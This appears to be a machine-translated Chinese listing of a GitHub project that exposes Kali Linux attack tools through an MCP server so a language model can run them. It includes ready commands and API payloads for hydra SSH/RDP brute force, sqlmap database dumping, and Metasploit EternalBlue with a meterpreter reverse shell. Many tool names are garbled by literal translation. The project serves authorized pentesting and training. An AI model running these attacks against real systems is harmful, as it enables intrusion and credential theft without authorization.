渗透测试环境

基于Kali Linux的完整渗透测试环境,配备MCP服务器用于自动化控制安全工具,适用于授权安全测试和培训。

  • by thierrybraga
  • JavaScript
  • 本地部署
  • 更新于
在 GitHub 查看 thierrybraga/MCP-kali

使用说明

Kali Linux MCP Pentest环境

基于Kali Linux的完整渗透测试环境,具有用于安全工具自动化和控制的模型上下文协议(MCP)服务器。

🎯 特点

  • Kali Linux滚动 - 最新版本与所有更新的工具
  • MCP服务器 用于远程工具控制的 RESTful API
  • 主要工具:
    • 🔍 扫描:nmap、masscan、netdiscover
    • 🔨 蛮力:九头蛇、美杜莎、约翰
    • 🌐 Web测试:sqlmap、wpscan、nikto、dirb、gobuster
    • 💣 开发:元绘图框架
    • 📡 无线:aircrack-ng、reaver
    • 📊 分析: wireshark, tcpdump
  • 自动化脚本 -工作流程完成了侦察和暴力
  • 数据持久性 - 报告,文字列表和持久设置
  • Docker就绪 - 快速和隔离部署

🧰 支持的工具

下面的类别列出了环境安装和支持的主要工具。

  • 扫描和发现
    • nmap、masscan、netdiscover、arp扫描、dnsenum、severe、sslscan、ike扫描、独角兽扫描、lbd、聚敛、亚索引
  • Recon/OSINT e指纹识别
    • theHarvester、maltego、dnsrecon、whatweb、wafw00f、dmitry、spiderfoot、smtp用户枚举、snmp检查、asstfinder、gau、waybackurls、massdns、paramspider、arjun、sublist3r、cloudbrute
  • Web测试e DAST
    • sqlmap、wpscan、nikto、dirb、gobuster、wfuzz、dirbuster、joomscan、cmsmap、xsstrike、beef xss、skipfish、arachni、davtest、droprescan、httpx、nucleus、ffuf、feroxbuster、dirsearch、dalfox、commix
  • 密码/暴力单词表
    • 九头蛇、美杜莎、约翰、大麻、帕塔、ncrack、cewl、crunch、ophcrack、brutesplay
  • 开发与后期开发
    • metasploit框架、armitage、routesloit、set(set Toolkit)、mimikatz、powershell帝国、weevely、linux漏洞利用建议器、windows漏洞利用建议者
  • 无线e收音机
    • aircrack ng、reaver、wifite、欺负者、kismet、pixiewps、fern wifi饼干、mdk4、airgeddon、wifi-pumpkin3
  • 嗅探/欺骗L2/L3
    • bettcap、仅限文本的ettercap、driftnet、mitmf、yersinia、响应者
  • Active Directory、SMB和Protocolos
    • crackmapexec、impackt脚本、寻血犬、ldapdomaindump、enum4linux、smbclient、nbtscan、snmp
  • 法医 和 逆向 工程
    • 尸检,挥发性,binwalk,最重要的,ghidra,radare2,apktool,dex2jar,exiftool
  • 代理和支持工具
    • zaproxy(OWASP ZAP)、巴布剂、zenmap、tor、torsocks、awscli

注意:除了上述工具之外,该环境还包括支持的库和实用程序(Python,Node.js,Go,build-essential等),以允许扩展和自动化。

📋 先决条件

  • Docker>=20.10
  • Docker编写>=2.0
  • 最低 8GB RAM(推荐 16GB)
  • 20GB 磁盘空间
  • Linux/macOS(Windows com WSL2)

🚀 安装

1. 克隆或创建项目

mkdir kali-mcp && cd kali-mcp
# Copie todos os arquivos fornecidos para esta pasta

2. 目录结构

kali-mcp/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── server.js
├── package.json
├── scripts/
├── skills/
├── docs/
├── wordlists/
├── swagger.json
├── mcp_client.py
└── pentest_pipeline.py

3. 构建图像

docker-compose build

4. 启动容器

# criar a rede necessária (apenas uma vez)
docker network create openclaw-net

docker-compose up -d

5. 访问容器

docker exec -it cleo-kali-mcp /bin/bash

🤖 LLM设置

MCP Server 支持多个 LLM 提供者。默认情况下,您可以通过环境变量定义提供程序和模型。

默认:OpenAI with fallback Ollama

创建/编辑文件 .env 在工程根上 :

LLM_PROVIDER=openai
OPENAI_API_KEY=SEU_TOKEN_OPENAI
OPENAI_MODEL=gpt-5-mini

LLM_FALLBACK_PROVIDER=ollama
LLM_FALLBACK_MODEL=qwen3:8b

# Ajuste se seu Ollama roda localmente fora do Docker
OLLAMA_BASE_URL=http://localhost:11434
  • 服务器正在尝试定义为 LLM_PROVIDER 首先,在发生故障时,使用已配置的备份。
  • 容器中的默认 Ollama URL 是 http://host.docker.internal:11434如果您没有在主机上使用 Docker Desktop,请调整 OLLAMA_BASE_URL 如有必要。
  • 服务器使用的模型和提供程序:请参阅[server.js](file:///d:/MCP -kali/server.js#L45-L59)和[server.js]中的聊天逻辑(file:///d:/MCP -kali/server.js#L85-L224)。

🔧 使用

MCP服务器API

MCP 服务器可在 http://localhost:3000

可用的端点

服务器信息

GET http://localhost:3000/
GET http://localhost:3000/health
GET http://localhost:3000/api/tools/list
POST http://localhost:3000/mcp

端点MCP JSON-RPC

O端点 /mcp 基本 MCP 流initialize, tools/list, tools/call, resources/list, resources/read):

curl -X POST http://localhost:3000/mcp \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'

对于非实验室环境,请启用身份验证:

MCP_REQUIRE_AUTH=true
MCP_API_TOKEN=troque-este-token
MCP_ALLOWED_ORIGINS=http://localhost:3000

通用表演和编排

# Executar qualquer ferramenta suportada pelo template runner
POST http://localhost:3000/api/tools/run
Content-Type: application/json

{
  "tool": "whatweb",
  "target": "example.com",
  "options": ""
}

# Dry-run (avaliação de risco e comando gerado, sem execução)
POST http://localhost:3000/api/tools/dry-run
Content-Type: application/json

{
  "tool": "wafw00f",
  "target": "example.com",
  "options": ""
}

# Pipeline (múltiplos passos encadeados, com suporte a dryRun por etapa)
POST http://localhost:3000/api/tools/pipeline
Content-Type: application/json

{
  "steps": [
    { "tool": "assetfinder", "target": "example.com", "options": "--subs-only", "dryRun": false },
    { "tool": "httpx", "target": "https://example.com", "options": "", "dryRun": true }
  ]
}

扫描com Nmap

POST http://localhost:3000/api/scan/nmap
Content-Type: application/json

{
  "target": "192.168.1.0/24",
  "options": "-sV -sC -O",
  "output": "normal"
}

正在扫描Masscan

POST http://localhost:3000/api/scan/masscan
Content-Type: application/json

{
  "target": "192.168.1.100",
  "ports": "1-65535",
  "rate": "1000"
}

九头蛇凶猛的力量

POST http://localhost:3000/api/bruteforce/hydra
Content-Type: application/json

{
  "target": "192.168.1.100",
  "service": "ssh",
  "username": "root",
  "passlist": "/root/wordlists/rockyou.txt",
  "port": 22
}

SQL注入com SQLMap

POST http://localhost:3000/api/web/sqlmap
Content-Type: application/json

{
  "url": "http://example.com/page.php?id=1",
  "options": "--batch --risk=1 --level=1"
}

WordPress扫描

POST http://localhost:3000/api/web/wpscan
Content-Type: application/json

{
  "url": "http://wordpress-site.com",
  "options": "--enumerate p,t,u"
}

Nikto网络扫描仪

POST http://localhost:3000/api/web/nikto
Content-Type: application/json

{
  "host": "example.com",
  "port": 80,
  "ssl": false
}

目录暴力(Dirb)

POST http://localhost:3000/api/web/dirb
Content-Type: application/json

{
  "url": "http://example.com",
  "wordlist": "/usr/share/wordlists/dirb/common.txt"
}

目录蛮力(Gobuster)

POST http://localhost:3000/api/web/gobuster
Content-Type: application/json

{
  "url": "http://example.com",
  "wordlist": "/usr/share/wordlists/dirb/common.txt",
  "mode": "dir",
  "extensions": "php,html,txt"
}

Metasploit控制台

POST http://localhost:3000/api/exploit/msfconsole
Content-Type: application/json

{
  "commands": [
    "use exploit/multi/handler",
    "set payload windows/meterpreter/reverse_tcp",
    "set LHOST 192.168.1.100",
    "set LPORT 4444",
    "exploit"
  ]
}

技能和文档工具

# Lista de skills disponíveis
GET http://localhost:3000/api/skills/list

# Conteúdo da skill de uma ferramenta específica
GET http://localhost:3000/api/skills/<tool>

Listar报告

GET http://localhost:3000/api/reports
GET http://localhost:3000/api/reports/:filename

摘要和文物

# Resumo de um report (primeiros 4k de conteúdo)
GET http://localhost:3000/api/reports/summary/:filename

# Index de artefatos (filtrável por tool/target/type)
GET http://localhost:3000/api/artifacts

自动化管道

全网侦察

API 识别管道:

curl -X POST http://localhost:3000/api/tools/pipeline \
  -H "Content-Type: application/json" \
  -d '{
    "steps": [
      { "tool": "nmap", "target": "192.168.1.0/24", "options": "-sn" },
      { "tool": "nmap", "target": "192.168.1.0/24", "options": "-sV -sC --top-ports 1000" }
    ]
  }'

它做什么:

  1. 主机发现(nmap ping扫描)
  2. 服务检测(nmap-sV-sC)
  3. 生成单个报告和索引文物

自动蛮力

curl -X POST http://localhost:3000/api/bruteforce/hydra \
  -H "Content-Type: application/json" \
  -d '{"target":"192.168.1.100","service":"ssh","username":"root"}'

可用选项 :

  • username -用户名único
  • userlist - 用户名列表文件
  • password -唯一密码
  • passlist - 密码列表文件
  • port - 自定义端口
  • options 额外的 Hydra 旗帜

工具手册

扫描器

# Scan básico
nmap -sV -sC 192.168.1.100

# Scan completo
nmap -sV -sC -O -A -p- 192.168.1.100

# Scan de vulnerabilidades
nmap --script vuln 192.168.1.100

# Scan stealth
nmap -sS -T4 192.168.1.100

Masscan

# Scan rápido de todas as portas
masscan 192.168.1.0/24 -p1-65535 --rate=1000

# Scan de portas específicas
masscan 192.168.1.0/24 -p80,443,8080 --rate=10000

九头蛇

# SSH
hydra -l root -P /root/wordlists/rockyou.txt ssh://192.168.1.100

# FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# HTTP POST
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect"

# RDP
hydra -l administrator -P passwords.txt rdp://192.168.1.100

SQLMap

# Teste básico
sqlmap -u "http://example.com/page.php?id=1" --batch

# Dump database
sqlmap -u "http://example.com/page.php?id=1" --dbs --dump

# POST request
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"

# Com cookie de sessão
sqlmap -u "http://example.com/page.php?id=1" \
  --cookie="PHPSESSID=abc123" --batch

Metasploit

# Iniciar console
msfconsole

# Buscar exploits
search type:exploit platform:windows

# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

# Database
msfdb init
db_status

📂 永久目录

docker-compose 将卷配置为保留重要数据:

  • ./reports → /root/reports 所有生成的报告
  • ./scripts → /root/scripts -自定义脚本
  • ./targets → /root/targets 关于目标的信息
  • ./wordlists → /root/wordlists -自定义单词列表
  • ./nmap-results → /root/nmap-results Nmap 结果
  • ./config → /root/.config - 设置

📚 单词列表

  • 已安装的软件包 : wordlists e seclists
  • 默认路径 :
    • 系统: /usr/share/wordlists
    • 快速访问 : /root/wordlists (未压缩的副本,如果适用)
  • 为了与工具(dirb、gobuster、hydra 等)兼容而保证的读权限。

🔒 安全与道德

⚠️ 重要通知:

  1. 道德使用仅在授权环境中使用
  2. 许可始终获得书面许可
  3. 责任不当使用是非法的
  4. 绝缘在隔离网络/虚拟机上运行
  5. 日志保持所有活动的日志

此环境仅适用于:

  • 授权Pentest
  • 自身环境中的攻击性安全
  • 教育和培训
  • 授权Bug赏金计划
  • 授权网络团队练习

🛠️ 故障排除

容器未启动

# Verificar logs
docker-compose logs -f

# Rebuild sem cache
docker-compose build --no-cache

MCP 服务器没有响应

# Verificar se está rodando
docker exec cleo-kali-mcp ps aux | grep node

# Reiniciar o server
docker exec cleo-kali-mcp pkill node
docker exec cleo-kali-mcp /root/start.sh

文字列表未找到

# Descompactar rockyou
docker exec cleo-kali-mcp gunzip /root/wordlists/rockyou.txt.gz

# Baixar SecLists
docker exec cleo-kali-mcp git clone \
  https://github.com/danielmiessler/SecLists /root/wordlists/seclists

权限被拒绝

# Entrar como root
docker exec -it -u root cleo-kali-mcp /bin/bash

📊 监测

MCP服务器的版本日志

docker logs -f cleo-kali-mcp

检查资源

docker stats cleo-kali-mcp

🔄 更新

# Parar container
docker-compose down

# Atualizar imagem Kali
docker pull kalilinux/kali-rolling:latest

# Rebuild
docker-compose build --no-cache

# Iniciar novamente
docker-compose up -d

📝 完整使用范例

示例 1:企业网络中的 Pentest

# 1. Reconhecimento completo
curl -X POST http://localhost:3000/api/tools/pipeline \
  -H "Content-Type: application/json" \
  -d '{"steps":[{"tool":"nmap","target":"10.0.0.0/24","options":"-sn"},{"tool":"nmap","target":"10.0.0.0/24","options":"-sV -sC --top-ports 1000"}]}'

# 2. Análise dos resultados
curl http://localhost:3000/api/reports

# 3. Brute force em serviços encontrados
curl -X POST http://localhost:3000/api/bruteforce/hydra \
  -H "Content-Type: application/json" \
  -d '{"target":"10.0.0.50","service":"ssh","username":"admin"}'

# 4. Teste em aplicações web
curl -X POST http://localhost:3000/api/web/nikto \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.100","port":80}'

例2:Web应用程序测试

# 1. Scan de diretórios
curl -X POST http://localhost:3000/api/web/gobuster \
  -H "Content-Type: application/json" \
  -d '{"url":"http://webapp.com","extensions":"php,html,txt"}'

# 2. Nikto scan
curl -X POST http://localhost:3000/api/web/nikto \
  -H "Content-Type: application/json" \
  -d '{"host":"webapp.com","port":443,"ssl":true}'

# 3. SQLMap
curl -X POST http://localhost:3000/api/web/sqlmap \
  -H "Content-Type: application/json" \
  -d '{"url":"http://webapp.com/page?id=1","options":"--batch"}'

🤝 贡献

欢迎捐款!请随时联系:

  1. Reportar错误
  2. 建议新功能
  3. 添加新脚本
  4. 改进文档

📄 许可证

麻省理工学院许可证 - 详情请参阅许可证

👤 作者

蒂埃里·布拉加

⚖️ 免责声明

此工具仅用于教育目的和授权的安全测试。作者对不当或非法使用此工具概不负责。在进行渗透测试之前,始终获得书面许可。


快乐黑客! 🎯